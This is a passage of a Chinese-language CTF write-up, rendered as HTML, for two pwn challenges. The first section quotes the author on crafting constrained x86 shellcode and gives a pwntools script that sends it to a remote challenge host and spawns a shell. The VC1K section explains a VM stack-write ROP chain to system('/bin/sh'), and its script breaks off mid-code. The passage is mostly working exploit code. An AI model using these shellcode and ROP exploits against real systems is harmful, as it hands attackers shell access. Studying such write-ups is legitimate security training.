<p>At a high level you have a few target operations,  say if you want to setup <code class="inline-code">execve(/bin/sh)</code> you need to get rdi set with the right value, rax to 0x3b, and make sure rsi &amp; rdx are 0. This challenge made linking operations difficult with its xor and even/odd constraints, but it wasn't too hard to find valid instructions in isolation that did what you wanted, like in my case a gadget like <code class="inline-code">mov al, 0x3b</code>, and we weren't super length constrained, so to link gadgets I just iterated through all possible sequences of 1,2, or 3 bytes between gadgets, checking first if they would allow our payload to met the jail constraints, then disassembling them along with the payload to see if the instruction was valid x86 and a 'no-op' with respect to the constraints I needed for the syscall, then actually running it to see if it didn't break.</p>
</blockquote>
<p>以上是出题人的原话，但是 t1d 说 fuzz 没啥用（</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-python language-python"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pwn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> sys </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "./chal_patched"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.log_level </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "debug"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.binary </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> proc</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">checksec</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> remote</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"labgrown.kctf-453514-codelab.kctf.cloud"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1337</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'r'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> process</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.G:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    gdb.attach</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"b *0x40142b"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> gen</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">s</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    res </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> asm</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">s</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> range</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">len</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">res</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">        print</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">res</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">end</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">", "</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> range</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">len</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">res</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">res</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> res</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">        print</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"idx: </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">res</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">, </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">res</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">read </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> asm</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"""</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">push r14</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">gs</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">inc ax</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">push r14</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">gs</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">inc ax</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">push rdi</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">pop rsi</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">std</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">nop</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">mov edx, ecx</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">pop rdi</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">pop rax</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"""</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">read</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\x90</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">20</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> asm</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">shellcraft.sh</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.interactive</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br></code></pre></div>
<h2 id="vc1k" class="scroll-target"><a href="#vc1k"><code class="hash inline-code">#</code>VC1K</a></h2>
<p>vm pwn，栈上任意地址写，和 HFCTF2022 Pwn avm 比较像，不需要泄漏 libc，可以把 <code class="inline-code">pop_rdi_ret</code> <code class="inline-code">binsh</code> <code class="inline-code">system</code> 都在栈上算好。</p>
<p>偏移可以直接输进去，用功能三的那个条件跳转跳过去。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-python language-python"><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">#!/bin/python3</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pwn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.log_level </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'INFO'</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.terminal </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'remotinator'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'vsplit'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'-x'</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.arch </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'amd64'</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">process_name </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> './chal_patched'</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> context.binary </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">process_name</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">libc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'./libc.so.6'</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">HOST</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "vc1k.kctf-453514-codelab.kctf.cloud"</span><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">PORT</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1337</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">######################################################################################</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># breakrva [-h] [offset] [module]</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># aslr [-h] [{off,on}]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">gdb_script </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'''</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">#set breakpoint pending on</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">#breakrva 0x1277</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">#breakrva 0x14a4</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">#breakrva 0x13a7</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">#b *run+368</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">b *run+786</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">continue</span><br><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'''</span><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">######################################################################################</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> connect</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">REMOTE</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">print</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"[*] Connecting to </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">HOST</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> : </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">PORT</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> remote</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">HOST</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">PORT</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">ssl</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">elif</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">GDB</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">print</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'[*] Debugging </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf.path</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">.'</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> gdb.debug</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf.path</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">gdbscript</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">gdb_script, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">aslr</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">print</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'[*] Executing </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf.path</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">.'</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> process</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf.path</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_add</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx, op2Idx</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 13</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op2Idx </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">7</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p16</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> opcode_nand</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op1Idx, op2Idx</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">opcode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span 